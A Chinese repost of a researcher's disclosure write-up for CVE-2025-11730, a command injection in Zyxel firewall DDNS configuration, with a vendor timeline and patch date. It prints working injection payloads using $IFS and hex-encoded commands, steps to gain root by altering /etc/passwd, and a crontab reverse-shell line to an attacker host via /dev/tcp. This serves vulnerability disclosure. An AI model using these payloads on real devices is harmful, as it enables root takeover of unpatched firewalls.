文章总结: 本文披露了ZYXEL防火墙DDNS配置中的命令注入漏洞CVE-2025-11730。攻击者可利用public-ip-url参数过滤缺陷,通过IFS变量或16进制编码绕过限制,执行恶意命令获取Root权限。文章详细演示了利用该漏洞篡改系统文件或反弹Shell的完整过程。此外,超长输入还会导致守护进程崩溃引发DoS。受影响用户应尽快安装官方补丁以修复此高危漏洞。 综合评分: 95 文章分类: 漏洞分析,渗透测试,漏洞预警,漏洞POC,网络安全
CVE-2025-11730:在ZYXEL防火墙中玩”文字游戏”通过DDNS配置获取Root权限
rainpwn rainpwn
赛博知识驿站
2026年2月6日 10:01 中国香港
“大多数时候,当你停止过度思考,答案就在眼前。” —— Anonymous
一、意外的突破口:DDNS配置里藏着”后门”
在例行研究ZYXEL设备时,我重新翻出了一个曾被我搁置的分析方向:动态DNS功能。这玩意儿看似平平无奇——当你的公网IP是动态分配时,防火墙会通过它自动更新DNS记录。
但谁能想到,就是这个”无脑”的小功能,竟成了我拿下Root权限的突破口。
最终结果? 通过在DDNS配置中精心构造一个URL,我成功在防火墙上弹了一个Root Shell。\o/
二、从CLI入手:看似无害的参数
在ZYXEL的命令行界面(CLI)中,你可以为DDNS配置文件指定一个URL,让设备通过它查询自己的公网IP。这个参数叫 public-ip-url,乍一看平平无奇——必须以 http:// 或 https:// 开头。
Router(config-ip-ddns)# public-ip-url http://test.dev
当你执行 ip ddns update 时,设备会”听话地”用curl去请求这个URL:
curl --connect-timeout 5 --interface eth1 --cacert /share/cacert.pem http://test.dev > /tmp/ddns_Primario_publicip
看到这里,我的第一反应是:这个URL有注入空间吗?
三、绕过限制:当大括号不管用,就用$IFS
我尝试了一系列经典注入手法——分号、反引号、嵌套命令……结果全部碰壁。因为 public-ip-url 参数拒绝接受空格、花括号、井号、引号等”危险字符”。
Router(config-ip-ddns)# public-ip-url http://;ping 1.1.1.1;
% Parse error
但我注意到一个细节:$、;、\ 这些字符并没有被过滤。 这意味着,虽然我不能直接写空格,但可以用Shell变量来”编码”它。
$IFS:被低估的神器
$IFS 是Shell的内部字段分隔符(Internal Field Separator),默认值就是空格。利用它,我成功绕过了限制:
Router(config-ip-ddns)# public-ip-url http://a.b.c;cp$IFS/etc/passwd$IFS/etc/zyxel/ftp/conf/passwd.conf
执行后,设备乖乖地把 /etc/passwd 复制到了FTP目录:
curl --connect-timeout 5 --interface eth1 --cacert /share/cacert.pem http://a.b.c;cp /etc/passwd /etc/zyxel/ftp/conf/passwd.conf
说实话,我一开始以为必须用花括号才能搞定,结果凌晨4点测试时发现 $IFS 直接通杀——谁让我当时脑子不清醒呢。
四、意外收获:让守护进程”自杀”
在折腾的过程中,我还发现了一个有趣的副作用:如果注入的URL过长,会导致 ddns_had 守护进程崩溃。
问题出在代码里的缓冲区限制:
char local_250[256];
snprintf(local_250, 0x100,
"curl --connect-timeout 5 --interface %s --cacert /share/cacert.pem %s > /tmp/ddns_%s_publicip",
interface, host, id);
system(local_250);
当 host 参数过长时,snprintf 会截断字符串,导致命令尾部的 > /tmp/ddns_%s_publicip 被砍掉。结果?守护进程找不到输出文件,直接崩溃,整个DDNS服务瘫痪,必须物理重启设备才能恢复。
这算是个”附赠”的DoS漏洞。
五、最终武器:16进制编码 + Root Shell
在意识到 $IFS 可行之前,我还尝试了另一种更”优雅”的方法:用16进制编码绕过字符限制。
编码原理
通过 xxd 和 sed,我把命令转换成 \x 开头的16进制序列:
rainpwn@0xfw01:~$ echo -n "cp /etc/passwd /etc/zyxel/ftp/conf/passwd.conf" | xxd -p | sed 's/\(..\)/\\x\1/g'
\x63\x70\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64...
然后用 $'...' 语法让Shell解析这些编码:
Router(config-ip-ddns)# public-ip-url http://127.0.0.1/;CMD=$'\x63\x70\x20\x2f...'&&$CMD
结果? 成功将 /etc/passwd 复制到FTP目录。
接下来?篡改passwd,拿下Root
我通过FTP上传了一个修改过的 passwd 文件,把我的用户Shell从 /bin/zysh 改成 /bin/bash:
Router(config-ip-ddns)# public-ip-url http://;CMD=$'\x63\x70\x20\x2f\x65\x74\x63\x2f...'&&$CMD
再SSH登录,我就有了一个真正的Root Shell:
rainpwn@0xfw01:~$ ssh 10.168.254.1 -l rainpwn
root@ATP100-TS:/# id
uid=0(root) gid=0(root) groups=0(root)
root@ATP100-TS:/# born to be root! \o/
六、更直接的玩法:反弹Shell
嫌篡改 passwd 麻烦?那就直接反弹Shell。
- 1. 在攻击机上搭建HTTP服务器,托管一个包含Cron任务的
index.html:
* * * * * root /bin/bash -l > /dev/tcp/10.168.254.14/1337 0<&1 2>&1
- 2. 通过注入让设备下载这个文件并覆盖
/etc/crontab:
Router(config-ip-ddns)# public-ip-url http://;CMD=$'\x63\x75\x72\x6c\x20...'&&$CMD
- 3. 等待Cron执行,反弹Shell到netcat:
rainpwn@0xfw01:~$ nc -lvnp 1337
Connection received on 10.168.254.1 53679
id
uid=0(root) gid=0(root) groups=0(root)
从注入到拿Shell,全程不到5分钟。
七、漏洞披露时间线:与厂商的”拉锯战”
- • 2025-09-10:向ZYXEL安全团队报告漏洞。
- • 2025-10-16:ZYXEL确认漏洞,分配CVE编号 CVE-2025-11730,计划2026年1月发布补丁。
- • 2025-10-31:ZYXEL请求推迟公开,理由是需要给用户更多时间打补丁。
- • 2026-02-05:双方按约定公开披露。
值得一提的是,ZYXEL的响应速度和沟通态度都很专业——这种配合让漏洞修复更高效。
八、写在最后:复杂问题的简单解法
回头看这个漏洞,它的本质其实很简单:输入过滤不够严格,导致Shell注入。 但真正有趣的是绕过过程——当常规手法行不通时,审时度势,从Shell的底层机制(如 $IFS、16进制编码)中寻找突破口,才是化腐朽为神奇的关键。
正如那句匿名名言所说:
“大多数时候,答案就在那里——只要你停止过度思考。”
凌晨4点的灵光一闪,往往比白天10小时的死磕更有效。
影响版本:ZYXEL ATP/USG Series (ZLD 5.41) CVE编号:CVE-2025-11730 补丁发布:2026年2月4日
原文:https://rainpwn.blog/blog/cve-2025-11730/
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛博知识驿站 rainpwn rainpwn《CVE-2025-11730:在ZYXEL防火墙中玩”文字游戏”通过DDNS配置获取Root权限》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论